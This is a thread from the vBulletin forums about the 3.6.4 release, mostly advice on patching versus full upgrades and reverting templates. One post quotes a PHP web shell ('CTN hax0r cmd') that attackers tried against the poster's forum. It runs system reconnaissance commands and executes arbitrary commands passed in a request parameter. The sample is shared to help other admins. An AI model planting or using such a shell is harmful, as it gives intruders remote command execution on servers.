Patching is only a stopgap measure if you have heavily customized your forum and you do not have the time to dedicate to an upgrade. Patching is uploading 1-2 PHP files or 1-2 XML files. It does not upgrade your forum, it does not change the version number, and it does not fix any of the bugs in the new version.

Full Upgrade of a forum with few mods/plugins/add-ons and template changes requires re-uploading all the vB files and running /install/upgrade.php.

Full Upgrade of a forum which is highly customized requires doing the above plus comparing and contrasting templates and synching up the changes. That is why some people just patch. Every template you modify increases the possible complexity of upgrading.

[wes_517]

had a few attackers today, it's looking like they all got errors... (patched same day as release) but here's the code they used

<html>
<font face="Verdana" color="black" size="5">
<B><div align="center" <b>CTN hax0r cmd</b><br></div></B>
</font>
<table align="center" border="3" bgcolor="black" bordercolor="red">
<tr>
<td>
<font color="white">
<? passthru('id');?>
<br>
<? passthru('uname -a');?>
<br>
<? passthru('uptime');?>
<br>
<? passthru('pwd');?>
<br>
</td>
</tr>
</table>
<br>
<?php
if(isset($ctn)){
?>
<DIV STYLE="font-family: verdana; font-size: 12px; font-weight: bold; color: red;"><b>Risultato cmd: <b><br>
<?php
if (isset($chdir)) @chdir($chdir);
ob_start( );
passthru("$ctn 2>&1");
$output = ob_get_contents();
ob_end_clean( );
?>
<TEXTAREA COLS="75" ROWS="8">
<?php
if (!empty($output)) echo str_replace(">", "&gt;", str_replace("<", "&lt;", $output));
?>
</TEXTAREA>
<BR>
<?php
}
?>
</font>
</html>


Not sure if that'll do anyone good, but i'm assuming that's what was patched...

[feldon23]

You should not allow users to post HTML on your forum.

[mircea123]

Hi
How Can I Buy Vbuletin 363 364

[Mazinger]

Through this page: http://www.vbulletin.com/order

[myths]

Hi To All
I Dont Know This Is Right Section Or Wrong For My Post.
I Want Launch New Forum.
I Need Help.for Unlimited Space.
And Forum Relatid Every Thing I Need Help Plz Plz Plz

[Onimua]

Hi To All
I Dont Know This Is Right Section Or Wrong For My Post.
I Want Launch New Forum.
I Need Help.for Unlimited Space.
And Forum Relatid Every Thing I Need Help Plz Plz Plz
Please start by ordering vBulletin: http://www.vbulletin.com/order/

[lonasdigital]

Thanks

[Zidane007nl]

Thanks for the new release! I just upgraded. I know I'm a little late, but better late then never. :D

[headboynt]

yes, i downloader. how install?

[X-MAN-x]

why HTML code is always off in vbulletin

what is his role generally

[Colin F]

For security reasons.

[Mazinger]

yes, i downloader. how install?
Open the manual: http://www.vbulletin.com/docs/html

... and follow the installing instructions.

[feldon23]

why HTML code is always off in vbulletin

what is his role generally
Because users can post bad JavaScript.

There is a free add-on at vBulletin.org that allows Administrator only to use HTML.

[toby06]

Thanks for the update! I have to admit, I was really worried about this upgrade being that it was my first and because I'd spent so much time modifying my board. Well with only six template changes to review, I have to say this was a heck of a lot easier than I thought it would be. lol

[binh]

Wow, I'm testing the Release, it's seem very good, thanks

[flynnibus]

Where does one find the 'what's new' for v3.6?

Does vbulletin provide anything that could be used (hosted) on our local forums to help promote the new features on our forums? Copying a thread from here would be very manual due to all the pictures. It would be great if there were a simple html page w/images directory we could put on our forums!

[telc]

Where does one find the 'what's new' for v3.6?

Does vbulletin provide anything that could be used (hosted) on our local forums to help promote the new features on our forums? Copying a thread from here would be very manual due to all the pictures. It would be great if there were a simple html page w/images directory we could put on our forums!


Floris made a great demo when the Ajax features first came out in 3.5:
http://files.vbulletin.com/3.5/ajax.html

It would be great to have something like this to demo all the new features to moderators and users.

[flynnibus]

I would settle for something like this thread

http://www.vbulletin.com/forum/showthread.php?t=186803

That was in stand-alone format. Would be nice to be able to place something in an annoucement, etc.

[Mazinger]

I would settle for something like this thread

http://www.vbulletin.com/forum/showthread.php?t=186803

That was in stand-alone format. Would be nice to be able to place something in an annoucement, etc.
This is best thread I've ever seen. :o

[Xoligy]

Updated all vBulletin styles without a hitch.

[Crow]

I don't know how the rest may feel but gettiing an update to me is like getting a new present! :p

[MThornback]

I don't know how the rest may feel but gettiing an update to me is like getting a new present! :p

Couldn't have put it better myself! :p

[Dr-net]

Upgrade from 3.6.3 to 3.6.4 went smooth but I notice the footer still did not change it still showing 3.6.3 any idea?

[feldon23]

Upgrade from 3.6.3 to 3.6.4 went smooth but I notice the footer still did not change it still showing 3.6.3 any idea?
Did you completely reupload vBulletin and run the upgrade script? (/install/upgrade.php)

Upgrade:
- Reupload ALL vBulletin files except the /images folder
- Run Upgrade Script

Not Upgrade:
- Uploading just the changed files.
- Installing a patch.
- Uploading any and all XML files made available as security patches.

[Chousho]

Update your templates?

[Dr-net]

I did upload all files and I run the upgrade script but still nothing happend :(

[Steve Machol]

This is a discussion thread. Please start a new thread in the appropriate forum for troubleshooting problems. Thank you.

[Dr-net]

sorry I will do that thanks

[Caesar]

Is it possible to revert back to the 3.6.3 after fully upgrading 3.6.4? I'm experiencing some problems.

[Onimua]

Is it possible to revert back to the 3.6.3 after fully upgrading 3.6.4? I'm experiencing some problems.
No, there's no way to downgrade unless you just use a backup from 3.6.3 or whatever version you wish to roll back to.

[Alkah]

Thanks! Ill upgrade soon! :cool::cool:

[Paul M]

Is it possible to revert back to the 3.6.3 after fully upgrading 3.6.4? I'm experiencing some problems.The differences between 3.6.3 and 3.6.4 are pretty minor, what problems exactly are you getting ?

[Wachtmeister]

Is it possible to revert back to the 3.6.3 after fully upgrading 3.6.4? I'm experiencing some problems.

Well, 3.6.4 runs very fine for me. Maybe you should visit the troubleshooting area here to ensure the problems really have something to do with the upgrade or not?

Regards, Wachtmeister
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[simsim]

Funny to ask this question after being a vB owner for a whole year (My license will expire tomorrow after), but here it is anyway:

What does it take to revert a changed template on upgrade? On new release announcements some templates that are changed are marked as do not require revert, while others do, so what's the difference?

[feldon23]

What does it take to revert a changed template on upgrade?
To revert a changed template, click Revert. :) It gives you a list of changed templates when you upgrade right there at the top of the AdminCP with a big "Revert All" button.

If you don't want to lose your customizations, then you must compare the two, see what Jelsoft changed, and make the same change(s) yourself. There are Template History and Template Compare features built into vBulletin.
On new release announcements some templates that are changed are marked as do not require revert, while others do, so what's the difference?

Requires Revert: YES -- Bugs, functionality, usability will be affected if you do not synch up the template changes. If you fail to upgrade for several versions, users may not be able to post, avatars might not show up, etc. The worst example is trying to use a vBulletin 3 style on vBulletin 3.6. Almost nothing works!

Requires Revert: NO -- Cosmetic changes that do not affect functionality; Language-related bugs that will not affect English only forums.

[simsim]

To revert a changed template, click Revert. :) It gives you a list of changed templates when you upgrade right there at the top of the AdminCP with a big "Revert All" button.

If you don't want to lose your customizations, then you must compare the two, see what Jelsoft changed, and make the same change(s) yourself. There are Template History and Template Compare features built into vBulletin.
My bad English language! I meant to say what's the effect of reverting a template rather to ask how to revert them. :) I do know how to revert templates, but the real confusion is what you've answered below:


Requires Revert: YES -- Bugs, functionality, usability will be affected if you do not synch up the template changes. If you fail to upgrade for several versions, users may not be able to post, avatars might not show up, etc. The worst example is trying to use a vBulletin 3 style on vBulletin 3.6. Almost nothing works!

Requires Revert: NO -- Cosmetic changes that do not affect functionality; Language-related bugs that will not affect English only forums.
I never knew that, and actually I think this is a gray area that is never explained or documented in detail by Jelsoft.

My thinking was that templates that require revert are those which reflect PHP scripts changes (e.g. new variables or changed ones, SQL query changes, file paths, etc.). I thought that not all templates that are changed are mentioned in the release announcement, so what I always did is to revert all the templates. Well, things were easier than I thought.

[feldon23]

what's the effect of reverting a template?
Reverting a template simply destroys any customizations you've made and sets it to "factory" settings. Reverting all the templates every time you upgrade vBulletin is a drastic method and I prefer not to do this.

I never knew that, and actually I think this is a gray area that is never explained or documented in detail by Jelsoft.
I sense no "gray area" or ambiguity in the vBulletin Release Announcements of late.

If you find a template you have customized in this list, you will likely want to include the changes made here. However, this is not always required. Under each change listed here, you will see "requires revert?" This refers to whether the changes are mandatory (yes). If the changes are mandatory, things will break if you do not incorporate the changes made. It is strongly recommended that you revert and recustomize any templates that say they require a revert.

My thinking was that templates that require revert are those which reflect PHP scripts changes (e.g. new variables or changed ones, SQL query changes, file paths, etc.).
Templates do not contain PHP or MySQL code. But they do contain variables, conditionals, etc. If it says Requires Revert, it's an important change.
I thought that not all templates that are changed are mentioned in the release announcement
There is a list of ALL the templates that have changed in each new vBulletin release announcement, as well as an item-by-item review of which templates Requires Revert and in some cases, the variable name or other item which changed.

[simsim]

Templates do not contain PHP or MySQL code. But they do contain variables, conditionals, etc. If it says Requires Revert, it's an important change.
I know, for I said "are those which reflect PHP scripts changes". I meant, if for example a variable on index.php was renamed from $username to, say, $user_name, then FORUMHOME template will require revert to reflect the new variable name instances inside it.

Thanks for an interesting reply, as usual.

[Chousho]

This thread is for discussing the release of vBulletin 3.6.4.

Please use this thread to talk about things you like or installation experiences etc., but please do not use this thread to post troubleshooting queries or bug reports. These threads tend to grow very large and bug reports etc. tend to become lost and will not get attention from the support or development teams.

For reporting bugs, please use the appropriate bug tracker (http://www.vbulletin.com/forum/bugs36.php).
Mini, if you askled in a proper support thread you'd probally get quicker responses.
...
vBulletin 3.6 Troubleshooting and Problems (http://www.vbulletin.com/forum/forumdisplay.php?f=117)
Bug Tracker (http://www.vbulletin.com/forum/bugs36.php)

Those forums will most likely generate a faster and more accurate response to questions and problems.

[En_stric]

cool... :)

[Eagle Eyes]

Vbulletin needs to improve on the user profile, it is way behind compare to our counterpart IP boards.

Lets beat them guys.

[Mazinger]

Vbulletin needs to improve on the user profile, it is way behind compare to our counterpart IP boards.

Lets beat them guys.
I think user profile looks perfect. What do you suggest?

[webtodd]

I am still running 3.62 and it seems like I need to upgrade to 3.64 to avoid the security risk. However, I'm real worried I'm going to screw something up with this upgrade. I've made some minor modifications to templates/styles/images, so I don't want to run this upgrade and screw things up! Any general advice?

Also: I'm a vBulletin newbie and 3.62 is the first version i have worked with

[Colin F]

Back up first, but aside from that the upgrade between these two versions is extremely easy.

[webtodd]

Back up first, but aside from that the upgrade between these two versions is extremely easy.

so as long as I back-up my database....the template tweeks and such should be stored in the database? (i am not super techy)

[KentonBomb]

its okay i guess

[BuyHostCheap]

Bought it yesterday, and it rocks. ;)

[webtodd]

I have applied the patch to version 3.6.2 but haven't done the 3.6.4 upgrade. Am I secure?

[Steve Machol]

Nope. You need to upgrade to 3.6.4.

[webtodd]

Nope. You need to upgrade to 3.6.4.

you talked me into it. i did the upgrade myself. it was scary, but i got it done. actually not too bad. :)